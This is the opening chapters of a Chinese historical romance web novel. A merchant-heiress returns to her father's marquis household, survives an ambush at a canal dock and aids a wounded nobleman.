《论如何靠花钱当上世子妃》
1. 归来
午后日头白的晃眼。
虽立秋已过了半月有余,但地处南地的中都凤阳依旧残暑未消。
平日人来人往的城门口此时也有些寂寥,只偶尔有商队并货郎出入,倒衬得远处官道缓缓驶来的玄青乌木马车很是打眼。
等马车驶近,可见车前悬一顶六角玻璃风灯,白棉灯罩上浓墨写着“敕造永安侯府”。
马车内,正中少女端坐,手执一把闲云团扇,有一搭没一搭扇着风,团扇遮住了半张小脸,只露出一双明媚的狐狸眼,螓首蛾眉,目若秋水。
微风从车窗外吹来,撩起少女额前碎发,也撩起她藕荷色缠枝妆花罗衫的裙摆。
坐在一旁的半夏忍不住向自家小姐抱怨:“姑娘,要我说我们用山庄的马车多好,这候府派来的马车行的慢不说,还十分闷热,壁内连放冰块的夹层都没有。”
谢泱闻言只是笑而不语,并未反驳半夏的话。
坐在谢泱另一侧的丫鬟茯苓有些担忧地看向自家主子:“姑娘,我们不先回府反而先去灵丹阁,若是侯府那位知道了,责怪起来······”
茯苓口中的“那位”,正是谢泱的继母罗漪华。
十六年前,她母亲与她的父亲永安侯谢元鼎和离,带着彼时尚在襁褓中的她搬去凤阳近郊栖霞山中的山庄居住,除了被候府吞下的大量金银财宝,剩下能盈利的店铺和田庄地契都被她的母亲叶淑然带走——这些都是母亲出嫁时带来的嫁妆。
谢泱的外祖家是赫赫有名的医药巨贾云中叶家,坊间随处可见的“济世堂”便是其产业之一,在凤阳更是拥有著名的叶氏药坊“灵丹阁”。
母亲嫁入候府,这灵丹阁便也成了嫁妆入了母亲名下。
母亲逝世后,这灵丹阁便被她接手,但名义上依旧是挂在母亲名下,如今她才是灵丹阁实际大东家这件事倒是鲜有人知。
她那好父亲永安侯谢元鼎前脚与她母亲和离,后脚便迎了彭城伯府家嫡女罗漪华进门做续弦,不到八月便生下一女。
本是桩极其不光彩的事,但凤阳世家贵族虚伪如一丘之貉,都说永安侯先前的那位夫人出身商贾,嫁入侯府实是高攀,如今的永安侯夫人出自清贵人家,倒与永安侯相配。
可笑至极!
不过谢泱并不担心:“她要维持贤良淑德的形象,自然不敢拿我这刚回来的嫡小姐如何,我们的当务之急是解决灵丹阁的事。”
正说着,马车便已行至城门口。
威严的拱形城门下,曾经天子銮驾通过的御道,如今却是城门大开,供城中百姓和各路商客通行。
车轮辘辘碾过石板路发出吱呀吱呀的声音,提醒昏昏欲睡的门吏行驶检查的职责。
“停!”
其中一个门吏向马车走来,一边抬手示意,一边观察马车样式。
见那“敕造永安侯府”字样,言语间多了几分恭敬:
“麻烦出示路引。”
车夫将侯府路引递过去,见门吏查完,便问:“大人,现在我们能进城了吧,侯府还等着呢。”
那门吏却不作回应,躬身向马车抱拳:“近日城中有令,进城马车一律要盘查,还望贵人配合。”
说罢便挥手招来几个手下,大有谢泱不同意就要强行检查的样子。
车内的半夏急了,冲出车厢,叉着腰拦在那门吏面前,目光忿忿:“你可看清楚了,里头坐着的可是我们永宁侯府的大小姐,姑娘家的马车怎么能让你们随意查看!”
那门吏闻言只说:“上头查得严,小的也只是按令行事,还请贵人莫要为难我们。”
“岂有此理!”
“好了,半夏,依规检查罢了,无妨”清润的嗓音从马车里传来,打断了半夏没说完的话。
马车里谢泱甫一开口,原本喧闹的场景便安静下来,并非有意压制,而是那嗓音似乎天生带着令人凝神的力量。说罢,一双手从马车帘子的一端伸出,将帘子拉开一角,露出里头坐在正中间的女子姣好的面容。
那门吏探头往里一看,呼吸停滞了一瞬,眼神定格在那女子带着微笑的脸上。
如此直勾勾的眼神,称得上冒犯,但谢泱却加深了她的笑容:“小女久未回凤阳,不知城中最近出了何事须得这般严查?”
仿佛只是一个不谙世事的好奇少女。
那门吏看呆了,愣愣地说:“别的不知道,只听说是码头那边出了什么事。”
“看什么呢,还不快查!”半夏狠狠瞪了一眼那门吏。
为首的门吏反应过来,有些心虚地扫了眼马车内,见没什么问题,道了句“得罪”,便挥手示意放行了。
门帘放下来的一瞬,谢泱的笑容便即刻消失了,转而代之的是一脸凝重
那门吏刚刚说码头出了事······
谢泱此次回来正是因为她的药坊灵丹阁出了件棘手的事,而事发地点就是在漕运码头。
前些日子,灵丹阁代掌柜叶三来信说,从浙地运来的一批药材出了点问题,这批药材本是七月中旬走水路运来,本应在十日前就能送到。可不曾想,这批药材在抵达漕运码头时被扣下了,理由给的含糊,只说是要查是否有私货夹带。
漕运质检是惯例,但以往长则三日短则当天便能放行。如今灵丹阁这批药材被扣都半月有余了,银子不知递进去了多少,始终不见动静。
凤阳位于南地,眼看伏旱过后绵绵秋雨就要下来,这药材若是被雨一淋,不出几日就要霉变,损失一批药材不说,还要赔付下家大批罚银,并且这样一来,她的灵丹阁还怎么在凤阳做生意!
事态紧急,谢泱这才应了侯府要接她回府办及笄礼的请求,顺势从山庄回凤阳,要不是这个缘由,侯府来的信她看都不会看一眼。
“叶三那边你都安排好了?”谢泱问起半夏。
“放心吧姑娘,已将让他早早在灵丹阁接应姑娘了。”半夏倒是一脸胸有成竹。
虽如此,谢泱心里仍是隐隐担心,她看向窗外街道。
但愿一切顺利吧,她心中这般祈祷。
马车悠悠绕过南大街,向位于烟雨巷的灵丹阁驶去。
而在谢泱一行人路过的一个不起眼黑檀木门头的二楼包厢内——
身着暗金流纹袍的青年男子坐在光影交错处,修长的手指骨节分明,捻起一枚墨玉棋子,缓缓落在楸木棋盘上。
“主子,查到了。”一从外而来的侍卫向面前矜贵的男子抱拳行礼。
“哪?”青年闻言并不抬头,目光始终凝于棋盘,眼帘微垂,睫羽在眼尾处投下一片好看的阴影。
“灵丹阁。”
听到这个略显意外的答案,青年眉梢轻轻一挑,淡淡吩咐:"继续查。"
“那今晚的行动?”侍卫询问。
“按计划行事。”
——
不出一刻钟,谢泱便到了位于烟雨巷的灵丹阁。
烟雨巷虽然名为“巷”,但实际上宽逾十丈,可容五架马车并驱。烟雨巷目光所及处,各色幌子、匾额、灯笼、彩楼欢门层层叠叠,药铺、当铺、书局、南北货行,无奇不有,是凤阳顶有名的繁华之地。
而灵丹阁位于烟雨巷往来商客最密集的地段,五开间的门脸,两尊石雕药兽据守门前,气势恢宏,高悬的金字匾额上书“灵丹阁”——听母亲说,这还是当年外祖花重金托书法大家提的笔。
叶三早已侯在灵丹阁正门口,见谢泱下马车便赶紧迎上来。
叶三是外祖家跟来的老人了,母亲出嫁前就在灵丹阁做掌柜,后来灵丹阁给母亲充了陪嫁,他也一直帮母亲打理铺子。现如今,谢泱接手灵丹
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阁,叶三便成了名义上的大东家,谢泱不便出面的场合,都是他去的。快五十的人了,依旧是精神矍铄,腰间挂着的一把黄铜小算盘被蹭得锃光瓦亮。
“大小姐今日回城一路辛苦,您大可安顿好再来寻奴的,还是身子要紧啊。”叶三是看着谢泱长大的,对她有对东家的尊重,也有对小辈的心疼
“叶叔,我没事的,事情紧急,顾不得这么多了”谢泱随叶三上灵丹阁三楼包厢。
这个时间灵丹阁里来拿药的客人不多,而正堂东隔间内坐堂大夫那的病人都在专注就诊,倒是没什么人注意到谢泱一行人。
熟悉的药香丝丝缕缕钻入谢泱的鼻腔,清苦回甘,消散了她心头的疲惫。
“那批药被扣那么久还不放行的原因打探清楚了吗?”谢泱轻执白瓷杯,啜饮一口灵丹阁特有的药茶。
一旁的叶三毕恭毕敬地回答:“说是上面在查禁药,查完就放行,但被扣了这么久还没查完,显然是有人成心要和我们灵丹阁作对。”
“禁药?”
谢泱接手灵丹阁以来,虽说很是有开拓生意的野心,但也从未想过干犯禁之事
“我们的货里有禁药?”
“东家明鉴,这批货是奴亲自去浙地盯着的,从选货到装运,眼睛都没敢眨,怎么会混了禁药进去?”叶三很是惶恐。
对他的话,谢泱的确不怀疑,在灵丹阁将近二十年,叶三几乎没有出过岔子。
照这么说,这批货要是本身没问题,那问题就只能出在漕运码头了——
一反常态被扣了这么久,要是有人要往里面塞点什么“不得了”的东西,再反咬一口这货有问题,那到时候灵丹阁可就很难说清了。
显然叶三也想到了这一层,还没等谢泱开口便解释说:“小姐放心,奴为防有人动手脚,早已派人在口岸盯着了。”
谢泱又想起,刚刚进城时,那门吏说的“最近上头查得严”,城门口在查,漕运码头也在查,可城中并没有什么风声......如此秘密行事,看来此事非同小可。
这样看来,未必是有同行因为私仇要和灵丹阁作对......
莫非,是上头有人要弄灵丹阁?若是如此,那就不是什么小麻烦了。
思及此,谢泱还是觉得要亲自去码头看一眼。
她起身往楼下走,边走边问叶三,能不能在戌时前赶回府。
叶三虽然觉着谢泱此举有些不妥,但还是早早为她备好了脚程快的马车:“码头里这有些距离,但小姐放心,一来一回并不会耽误小姐回府。”
临上车前,谢泱被叶三儿拦住:“小姐,还有一事,蜀中李掌柜近日要来凤阳,他来信说,我们的货要是再不交付就要我们三倍赔付定金,这......”
谢泱闻言皱眉,还没到约定交货的日子怎么就闹起来了:“现在当务之急是想办法把我们的货弄回来,李掌柜那边等他来了再说吧。”
叶三明白谢泱的意思是先拖着:“奴知道怎么做了。”
说罢谢泱便在半夏的搀扶中上了马车,出城直奔漕运码头了。
果然不出所料,到漕运码头后天也才刚刚擦黑。
谢泱让茯苓呆在马车里看着,而半夏则跟着她下马车。
傍晚的码头广场不再有白天的繁忙,多数漕船已落帆下锚,尚未卸完的货物堆在岸边,暮色中像是黑黝黝的山峦,还有成箱成箱的的货箱整齐的码在广场正中央漕仓内,漕仓与漕仓鳞次栉比,组成一个庞大的迷宫。
日头尚未落下,码头上却不怎么见人,连零星漕工都没有。
“这可怪了,怎么连个人都不见。”半夏紧跟在谢泱后面,有些不解。
谢泱正心生疑窦,她环顾四周,却见漕岸旁的班房里坐着一家丁模样的人,见了谢泱便远远跑过来。
2. 遇险
果然不出所料,到漕运码头后天也才刚刚擦黑。
谢泱让茯苓呆在马车里看着,而半夏则跟着她下马车。
傍晚的码头广场不再有白天的繁忙,多数漕船已落帆下锚,尚未卸完的货物堆在岸边,暮色中像是黑黝黝的山峦,还有成箱成箱的的货箱整齐的码在广场正中央漕仓内,漕仓与漕仓鳞次栉比,组成一个庞大的迷宫。
日头尚未落下,码头上却不怎么见人,连零星漕工都没有。
“这可怪了,怎么连个人都不见。”半夏紧跟在谢泱后面,有些不解。
谢泱正心生疑窦,她环顾四周,却见漕岸旁的班房里坐着一家丁模样的人,见了谢泱便远远跑过来。
等那家丁近前来,谢泱才看清此人样子,着一身短褂,皮肤黝黑,身材结实,面相是一副老实人样子。
“大小姐,叶掌柜特命小人在此等候。”
那壮丁倒是有些不好意思看向谢泱,说罢把腰间令牌摘下来,用袖子擦了擦才递给谢泱。
谢泱接过来一看,确实是叶三的令牌。
“我们的货放哪了,不是说叶掌柜派了人来盯着吗,怎么不见人?”谢泱盯着这壮丁,心里觉得有什么不对,但又找不出到底是哪里不对。
“回大小姐,漕司把我们的货放在了西北侧,说是方便检查,最近凡是涉及药材的货都敏感,故不和寻常货物放一起,我们的人也都在那边,我带小姐过去吧。”那壮丁解释道。
谢泱琢磨着这人的话,叫这人带路。
“对了,这位姑娘要不要去班房喝盏茶,歇歇脚?”那壮丁望向谢泱身后的半夏。
半夏摇摇头,谢泱则打断这人的话:“不必麻烦,直接带路吧。”
那人讪讪一笑,转身在前面低头带路,背向谢泱的那一刻眼里闪过一丝不易察觉的狠戾。
谢泱带着半夏跟在那壮丁的后头,此时暮色尽褪,码头逐渐被黑暗笼罩,倒是有些瘆人。
在穿过一堆迷宫般的货仓后,那壮丁将谢泱带到了一处其中一座货仓前,低头向谢泱说:“小姐,此处放的便是灵丹阁的货了,小的现在就给您开仓。”
那壮丁转身从胸口处掏了掏,低头开仓门。
谢泱盯着那人的背影,越想越不对,她仔细回想从到码头到现在的所有可疑之处——
为何明明尚早码头却空无一人?
上面要查禁药为何要把所有药货放在西北侧?明明稽查货物的榷关在东侧,放那显然更方便。
叶三安排盯货的人为何不见?
这壮丁为何刚刚要支走半夏?
还有——谢泱猛地抬头,这人开个仓门怎么开了这么久,他刚刚从胸前掏出来的是钥匙还是何物?
这样说来,只有一种可能——这人有问题,这个码头都有问题!糟了!
“半夏我们跑——”
谢泱拉起半夏转身就跑的瞬间,半夏的惊呼也在她耳边响起:“姑娘小心——”
谢泱下意识回头,只见寒光一闪,刚刚那老实的壮丁转眼换了一副可怖的面容,原本掏出来的钥匙不知何时变成了一把短刃,猛地向谢泱脖颈上刺。
谢泱反应过来,向旁一闪,堪堪躲开那人的刀锋。
那歹徒见没刺中,手腕一转又刺向护着谢泱的半夏。
半夏会些拳脚功夫,刀还没到眼前便已经用双手死死钳住那人拿刀的手。
谢泱见状抬脚狠狠往那歹徒的下身踹去,那人被下身的刺痛弄得失神,就在这一瞬半夏将刀夺过来,反刺向那人的喉咙——
那人随之倒地,气息尽绝。
主仆两人一口气还未松,忽的数道比夜色更浓的黑影,毫无征兆地从货堆后面腾空而出,直奔她而来。
不是吧,她招谁惹谁了,弄这么大阵仗刺杀她!
谢泱心中哀嚎,逃命的脚步却没停下,她拉着半夏便向层层叠叠的货仓跑去。
面临分叉口,她给半夏一个眼神,示意两人分头逃跑,旋即就往那迷宫般的漕仓里疾跑。
跑着跑着,她突然发现刚刚那些黑影并没有紧追她而来,兵刃交击的刺耳声停在了她和半夏分开的那个地方,脚下码头特有的木板传来的震动昭示着那边打斗的激烈,浓烈的血腥气顺着夜风弥漫开来。
谢泱松了一口气,不是冲着她来的就好,不过还是赶紧得离开这鬼地方。
就在她转身想往反方向寻出口离开时,脚下不知被什么东西一绊,整个人向前扑去——
预期的疼痛并未到来,相反,她撞进了一个带着凉意的坚硬胸膛。
一股浓烈的、带着铁锈般血腥气的味道瞬间将她包围,她被这变故吓了一大跳,刚下意识想要尖叫,一双寒凉的双手便如铁钳般死死捂住了她的嘴,所有声音被堵死在喉咙里,只剩下惊恐的呜咽。
“放开我——呜——”谢泱挣扎着,却怎么也挣不脱。
“想活命,就闭嘴。”男人冷冰冰的警告从谢泱耳边传来,说完便箍着她的腰闪身进了两个漕仓中间的窄缝里。
漕仓窄缝内,正正好好能容两人侧身,但也没有任何多余空间。
真是见鬼了,谢泱心里暗骂。
自己为何会沦落到和一个陌生男子以这种极其诡异的面对面相拥的姿势僵持在这里。
最初的惊恐如潮水般褪去,谢泱僵在他怀里,一动不敢动。刚刚激烈的打斗声似乎变小了些,她能感觉到捂住她嘴的手,力道稍微松了一点,似乎是在试探她是否会配合。
谢泱艰难地,极其缓慢地,将头往后转,想对那男人眨眼示意自己没有恶意。
就在这个瞬间,或许是为了确认,或许是月光刚好偏移——男人也略微偏过头,看向这个个头矮自己一大截的小姑娘。
两人的目光在咫尺间的黑暗中陡然相碰。
谢泱看见一双眼睛,一双好看的桃花眼,月光投在他的睫毛上,留下一片阴影。眼睛之上,男人剑眉斜飞入鬓,金雕玉琢般的英气与力度浑然天成,天生带着三分寒气。
这么好看的男人来干这种勾当真是可惜了,应该去龙阳轩的——龙阳轩是凤阳有名的伶倌馆。
那双眼在暗处亮的惊人,没有慌乱,只有一片深不见底的漆黑和锐利。
他也在看她,看清了她眼中强压下的恐惧,以及恐惧之下,那点清亮的、未曾出声的理智,甚至还有一点......揶揄?
奇怪的女子。
男人身上清冽又混杂着血腥味的气息,和谢泱身上散发的淡淡药香,诡异又亲密地交融在一起。
对了,血腥味?
谢泱试图找出这血腥味的来源,微微一瞥头便瞧见了男人的左手指尖在一滴一滴地流血,看来手臂处伤的很深,只不过被玄色束袖遮着,夜色中看不大清楚。
看来,刚才那群人是冲着这人来的,她简直是无妄之灾!
这男人受了伤,眼下又躲在这里,算是和她同病相怜了——她也是被人追杀才被迫逃来这里的。
也不知道半夏这丫头怎么样了,不行,她还是要尽快出去。
谢泱忽然计上心来,
“我们做个交易吧。”
男人看见面前紧贴着自己的姑娘,用她那双狐狸眼狡黠地看向自己,还不等开口,那姑娘接着自己的话头继续说道:
“外面那些人目标是你吧,我无意卷入你们的纷争,我看你唇色苍白,想必是伤的严重,我随身带了金创药,我把药给你,你放我走,怎么样?”
男人似乎是被谢泱的话逗笑了,唇角无声勾起一抹极淡的弧度,只是那幽深的眸
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子依旧平静无波,垂眸看着她:“就算你不是他们的目标,你觉得,那些人就会让你活着出去吗?”
男人的话语慵懒又带点调侃,倒是一点都不着急,仿佛外面的追杀与他无关。
血都要流干了,还在这里装——谢泱腹诽,却不敢真的这么说。
毕竟人在屋檐下不得不低头,她忍!犹豫了一阵,谢泱像是下定了某种决心——
“求——你——了,我偷偷从反方向走,不会暴露你的。”
谢泱放软声音,吐出的字带着勾人的小尾音,艳丽的眼眸中带点可怜的祈求,浓密的睫毛像把小扇子一样,直要扇到人心里去。
既然智取没用,那就用用美人计?她知道自己生的好看,比起逃命,面子算什么,她不吃亏。
谢泱眼皮都扇累了,也没见这男人眼中有一丝的动容。
好尴尬。
失望占据了谢泱的心头,不过她有点分不清,这失望究竟是因为她目前出不去,还是因为她生平第一次使用美人计就失败得如此惨烈。
谢泱低下头去,依旧试图劝动这人:“俗话说,冤家宜解不宜结,你放我出去,也算是善——”
“缘”字还未说出口,谢泱身上徒然一重,这男人竟然将身体全部重量压了上来:“你——”
谢泱突然反应过来,她抬起头,晃了晃男子的身体,只见那刚刚还明亮的桃花眼此时已将阖上,嘴唇也几乎没有了血色。
糟糕,这人不会死了吧?
谢泱内心有一阵慌乱,但很快她便镇静下来,她踮起脚,脸靠向男子的鼻子,还有呼吸!
内心松了一口气,因为还踮着脚,谢泱一时重心向前,脸颊不小心贴上了男子的薄唇后又迅速分开。
虽然眼前的男子已陷入昏迷,但谢泱还是觉着刚刚碰过男子嘴唇的那块脸颊火辣辣的,她看向男子苍白却仍旧精致的脸,有些心虚地嘟囔:“登徒子!”
冷静下来后,她凝神听了听,那边还在打,这是她逃走的好机会。
谢泱勉强将面前压过来的男人向后推,让他靠在另一侧漕仓上,自己便顺着挤出来的空隙出去。
两个漕仓之间的窄缝说到底还是能容纳两个人,刚刚因为这人钳制住谢泱,她脱身不得,但男人晕过去后,谢泱很容易就出来了。
谢泱呼吸了一口新鲜的空气,又侧耳听了听,那边动静小了下去,谢泱左右环顾了一下,凭着记忆确定了她来时的方向,正欲离开。
可还没走两步,谢泱就听到身后一声微弱的物体滑落的声音。
她回头,发现原来是那人靠不住漕仓壁,顺着滑了下去。
男人无声靠在那处窄缝,头垂靠一侧,左手指尖的血一滴一滴落下。
谢泱看着他的侧脸。
这和她有什么关系呢?如果不是他,自己说不定早就出去了,这对她本就是无妄之灾,还是赶紧走吧。
谢泱在心里这样告诉自己,于是她头也不回地离开了。
——
可片刻后,谢泱还是折了回来。
她轻叹一口气,低头看着那青年男子:“救人一命胜造七级浮屠,谁让我家祖传就是干这个的呢?”
她蹲在男人身旁,先探了探他的呼吸,因失血过多,他的呼吸不算平稳,但应该不至于丢了性命。
谢泱又伸手检查起男人受伤的左手,她解开他的衣袖,露出精壮的手臂,一道骇人的伤口映入眼帘,谢泱当即扯下自己袖口内衬的一段布,又解下腰上挂着的药瓶,麻利地撒药包扎。
弄完以后,谢泱看着男子苍白的脸色,仍觉得有些不妥,于是又从衣袖内袋里掏出一瓶药丸,倒了两粒准备往男人嘴里塞。
可手还没碰到嘴边,那人便像有感应一般,抬手将谢泱的手抓住。
3. 赠药
“你想做什么?”男子的声音因受伤而有些沙哑,说罢,他才缓缓睁开眼睛,看向谢泱的目光带着审视。
谢泱感受到了手上被施加的力度和男子的不信任,气极反笑:“要不是我,说不定你就要血尽而亡了,好心没好报!”
说罢,谢泱用力挣开了男子的手,转身就要离开,却被男人拉了回来。
“你到底要怎样?”谢泱话还没说完,却又被男子捂住了嘴。
“嘘。”男子比了个噤声的动作,转头听外面的动静。
谢泱看着男子的动作,也不再说话,跟着他一起听。
久而久之,她好像发现面前这人在等什么一般——直到,外面响起逼近的脚步声。
糟糕,刚刚那群人好像追过来了,谢泱刚放下的心又一下提到了嗓子眼,她抬头看向面前这个“美丽又脆弱”的男人,实在没忍住问出了口:
“你......行不行啊?......我是说你能打得过外面那些人吗”
谢泱心底不乏懊恼,她就不该回来的,救人命还要把自己的命赔在这。
忽地,男人眼神一凛,嘴角微勾,仿佛猎物终于上钩,用未受伤的那只手箍紧了谢泱的腰,低喝:"抓紧了,掉下来我不负责。"
“啊——”谢泱的惊呼还没完全出口,便感觉到一阵强烈的失重感,整个人陡然拔地而起,被男人纵身一跃带离了这狭小的空间内。
有这轻功不早用,非得等到敌人杀上来了才展示吗?
谢泱很是无语,但还是紧紧搂住男人的腰,要是掉下去了,这人可不像有回来捞她的好心。
男人带着谢泱,点跳在各个漕仓的斜坡顶,向前飞掠。
她下意识地死死攥住男人胸前地衣襟。
空气中混杂着夜露的潮湿,她紧闭双唇,却仍尝到了风里裹挟的尘土味道。
身后的追逐仍未停歇,偶有利箭破空的尖啸自身后擦过,无一例外因男人矫健的身手而落空,铮地钉入脚下地漕仓壁,木屑飞溅。
但毕竟他还带着个姑娘,手上又受了伤,步子难免沉些。
眼见身后有道黑影越逼越近,提剑就要杀过来。
“小心后面——”
谢泱话音刚落,男人受伤的左手从腰间摘下一枚暗器,咻的一声精准射进身后那道黑影的胸膛。
黑影轰然倒下,没入漕仓之间。
只是转眼间,男人带她逃命的那个方向又腾空跃起一拨人,不同的是,这些人身着统一夜行衣,明显比追杀他们的黑影要训练有素。
“怎么还有啊!”谢泱以为这些也是来杀他们的,绝望之中已经做好了要命丧于此的准备,“你到底得罪了多少人啊!”
男人本不欲多说,但似乎是感受到了怀中人的恐惧,他还是出声解释:“那些是我的人。”话语中带着安抚的意味。
说罢便带着谢泱轻身一跃,稳稳落在漕仓群旁边的空地上。
落地后,男人终于松开了谢泱。
这会儿踩在地上倒是有些轻飘飘的不真实感,谢泱大喘了几口气,活动了下有些僵硬的身体,没有心思再管上方激烈的打斗。
不出片刻,男人口中的“他的人”匆匆赶来。
为首的一侍卫模样的人向谢泱身旁的男人躬身行礼:
“主子,已经打扫干净了,只可惜都是死士,没有留下活口。”
主子?
这称呼引起了谢泱的注意,能被这样称呼,看来这男人身份不一般。
她侧目,视线转向身旁的男人,不比刚刚紧急的情况,现在危险解除,谢泱终于想起了观察这个将她卷进追杀漩涡中的男人。
鼻梁高挺,薄唇微抿,侧面看骨相极佳。
视线向下——
身材修长,宽肩窄腰,衬得那身玄色夜行衣也变得贵气起来。
“看够了吗?”裴玠转头,似乎是不满谢泱赤裸裸的打量。
在看到男人眼中的审问意味后,谢泱猛地收回视线,内心充满了偷看被抓包的尴尬,掩饰般地捂嘴轻咳了一声。
“那个,要是没我什么事了,那我就先走了。”
谢泱说完,又忽然意识到了什么,急忙向身旁的男人解释:"放心,今晚的事我一个字都不会说出去。"
她比了一个封嘴的动作,然后便试探性地往旁边挪了一步,小心翼翼地试探,看能否离开。
一旁的侍卫想要阻拦,便看向自家主子。
裴玠左手负在身后,右手轻轻一挥,示意她可以走了。
见状,谢泱轻呼一口气,抬脚便想赶紧走。
还没走几步,突然又想起了什么,折身回到裴玠旁边。
她从腰间摘下一个小药瓶,塞进男人手里,
“金创药,祖传的,很灵。”
下巴指向他受伤的那只手,说罢便头也不回的离开了,不过在转头的刹那,谢泱的嘴角勾起了一抹极小的弧度,这瓶药可不是免费的。
裴玠盯着谢泱离开的背影,直到那抹倩影逐渐隐没在夜色中。
他低头,看着手心那瓶金创药,若有所思。
手指将那药瓶一翻,瓶底印着一个小小的祥云葫芦鼎的标识——灵丹阁的记号。
“主子,要灭口吗?”玄刃看向自家主子,小心询问。
“不必,查一下她的身份。”
裴玠反手将那瓶药握在手心,转身向黑暗中走去。
......
谢泱回到来时的码头广场,看见半夏和茯苓正在马车旁焦急地等自己。
见她来了,半夏小跑过来,一把拉住谢泱的手,左瞧瞧右瞧瞧,确认自家小姐没受伤才放下心来。
“奴婢刚刚趁机逃了出来,左等右等始终不见姑娘,可急死我们了!”
"一时半会儿说不清楚,赶紧回府吧。"谢泱这会儿真是有些心力交瘁了,自己的货没查清楚不说,还差点招来杀身之祸。
见谢泱疲惫的模样,两个丫头也没再问,扶着自家小姐上了马车。
坐上回府的马车,谢泱终于有闲暇回想今天发生的桩桩件件,试图从中整理出什么思绪——
是谁要杀她?这人能准确把控她到码头的时间,还能准确认出她,看来是早有准备,难道是内部出了问题?
而刚刚那个男人呢,他是谁?他会不会和灵丹阁药材被扣有什么关系?看那男人的模样,分明是出身权贵人家,若是能查到他的身份,说不定事情会有什么转机。
想清楚后,她吩咐半夏:“你帮我去搜寻一下凤阳城内伯爵以上的人家的男子画像,面相丑陋的不要,年龄大概要十八到三十岁之间的,越快越好。”
“姑娘你要这个干嘛呀?”半夏很是不解,她家姑娘什么时候有搜集美男画像的癖好了?
谢泱一看半夏的样子就知道这丫头是误会了,解释道:"你别想歪了,我是有正事要用。"
欲盖弥彰,自家小姐这样分明是是想相看
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人家了!只是三十岁会不会有些大了?不行,她一定要帮自家小姐好好挑选一番。
半夏的小心思谢泱不知道,她现在只想快些回府,她虽不喜侯府,但起码在侯府里没有杀手。
——
离开码头后,马车从一处箭楼驶向城内。
高耸的箭楼之上,那朱红蟒纹底的门旗在篝火的映照下分外惹眼,旗帜上单字一个“南”昭示着凤阳这座旧都如今的主人是谁——当今圣上胞弟,南安王裴崇璋。
自先帝为震慑鞑靼,将都城从应天府迁往北地顺天府后,应天府便改名中都凤阳府,以作区分。
自古以来,迁都都是一项需要耗时数代的大工程,到当今圣上继位,虽皇亲宗室并朝中大小官员都已悉数迁往京都顺天府,但凤阳作为几朝皇都,底蕴深厚非新都可比拟,不少世家大族不愿北上,仍旧盘踞于此。
先帝为稳定南方世家,也为彰显荣宠,便将中都凤阳并周边淮安、庐州、扬州一并划为南安王的封地,命其世代镇守。
南安王就藩后,利用凤阳便利水道,大力发展漕运,如今凤阳商贸发达,到底是为这旧都增添了几分别样的富庶。
谢泱掀起车帘一角,看着马车行驶在熟悉的街道,思绪被拉回了六年前——
六年前,母亲拖着病体在山庄郁郁而终,留给她的是彼时规模远不及现在的灵丹阁和一并的相关铺子。
从谢泱记事起,自己和母亲就生活在山庄上,幼时,她从母亲口中知道自己有个侯爷父亲,可每当自己向母亲问起为何爹爹不和她们在一起生活时,母亲都缄口不言。
在谢泱的记忆里,母亲看着她的眼神永远蒙着一层忧伤,她不知道母亲的哀伤来自何处,她只记得母亲总是坐在屋子里叹气,对于手中的产业,母亲无心打理,都是交给下面人的,这也导致灵丹阁那些年经营状况并不好。
直到临终前,母亲在床头拉着自己的手,告诉了她当年的真相——
当年,母亲在怀着她时撞见了丈夫和当时还是自己闺中密友的罗漪华在家中苟且,被气得早产诞下了她,随后便心如死灰,自请下堂,带着她去了山庄。
母亲逝世后,罗漪华假惺惺来接当时只有十岁的她,说是要带回府中教养。
彼时谢泱对罗漪华恨之入骨,在回府的马车上,她甩开了罗漪华搂着她肩膀的手,力度并不大,可罗漪华却借势倒向一边,肚子撞向一旁的小几,竟然是把当时三个月的身孕撞没了。
谢泱亲眼看到是罗漪华自己往那撞的,回府却和谢元鼎说是她推的。
她向父亲争辩,得到的却是一个响亮的耳光:“逆女!小小年纪便心思歹毒,你母亲好意将你接回来,你却害死了尚未出生的弟弟!接你回来就是个错误,滚回庄子上去!”
于是,她带着脸上的伤和心中的恨,又回到了山庄,一待就是六年。
......
“姑娘,咱们到了...姑娘?”茯苓的话将谢泱从回忆里拉回来,眼眸里那抹余恨悄然收起,恢复了以往的平静。
永安侯府落座在凤阳城南,是百姓口中的“贵人坊”,青石铺路,朱门沉沉,贩夫走卒皆绕行。
谢泱抬头,望着眼前既熟悉又陌生的深赭色大门,大门之上的匾额黑底金字赫然写着“永安侯府”,门口卷草纹石墩一如当年向她耀武扬威。
谢泱眼尾微挑,唇边漾开一丝若有若无的讽笑,眼中却冰冷,暗忖:“不会像当年那样了。”
4. 恶意
侯府门口,管家林孝文已早早领着下人候着。
见谢泱下马车,便躬身笑迎上去:“夫人特命老奴在此等候,小姐此番回府一路幸苦,府中一应房院事务都备好了,就等您回府了,侯爷和夫人都盼着您回来呢。”
盼着她回来?盼着她回来怎么眼下连个人影都不见,呵,骗鬼的场面话罢了。
心里虽是这么想,但谢泱面上还是保持微笑,侧头示意茯苓递上提前备好的封赏。
“有劳总管,这点赏钱请总管吃茶,还望总管莫要推辞。”
这些年谢泱虽不曾在候府生活,但打理灵丹阁,她少不了要和生意人打交道,深谙这世道的人情世故,这点规矩她还是懂得的。
“小姐折煞老奴了,这都是老奴应该做的。”
林孝文接过封赏,暗自颠了颠,分量相当足。
府里传言说这位久不归家的大小姐在外面做生意赚的盆满钵满,如今看来传言不假。
只是堂堂候府小姐,在外抛头露面不说,想必没少与商贾之流混在一起,终归是不体面。
想到这,林孝文心中升起一丝鄙夷,只是面上不显,反而笑得更加殷勤。
“小姐这边请。”
林孝文引着谢泱绕过内影壁,穿过宴客厅,一路上收到了不少来自下人打量的目光,或好奇,或不屑,后者居多。
很显然,这府里对她的恶意很是不少。
但谢泱不在意,毕竟她从来不认为这候府是欢迎她的,她心里清楚,这些生活在云端的“贵族”,哪怕你能力出众,哪怕你腰缠万贯,只要你是女子,只要你和商贾沾边,你便和那路边的乞儿无异,连府中下人都能对你嗤之以鼻!
她痛恨这样的虚伪,一边高高在上教育你清誉贵于万金,一边又恬不知耻地盗你的财、吸你的血!
但无论如何,这次回府,她一是要借候府的势壮大灵丹阁,以便在凤阳彻底立足;二便是要这些害死她母亲的凶手付出他们应有的代价。
向西绕过几重抄手游廊,绕过垂花门,一座小院出现在谢泱面前。
普通的黑漆小门,门上铜环擦的倒干净,只是显得有些无人气儿的规矩。
推门而入,一应物什一眼便可望尽——院中植着几竿竹子,角落小小的石臼里,养着几尾不起眼的红鲫,水面漂浮着零星浮萍。
正房有三间,两侧各有小小的耳房。
这间院子放在普通人家里算是很宽敞了,只是放在候府里,实在是有些寒酸。
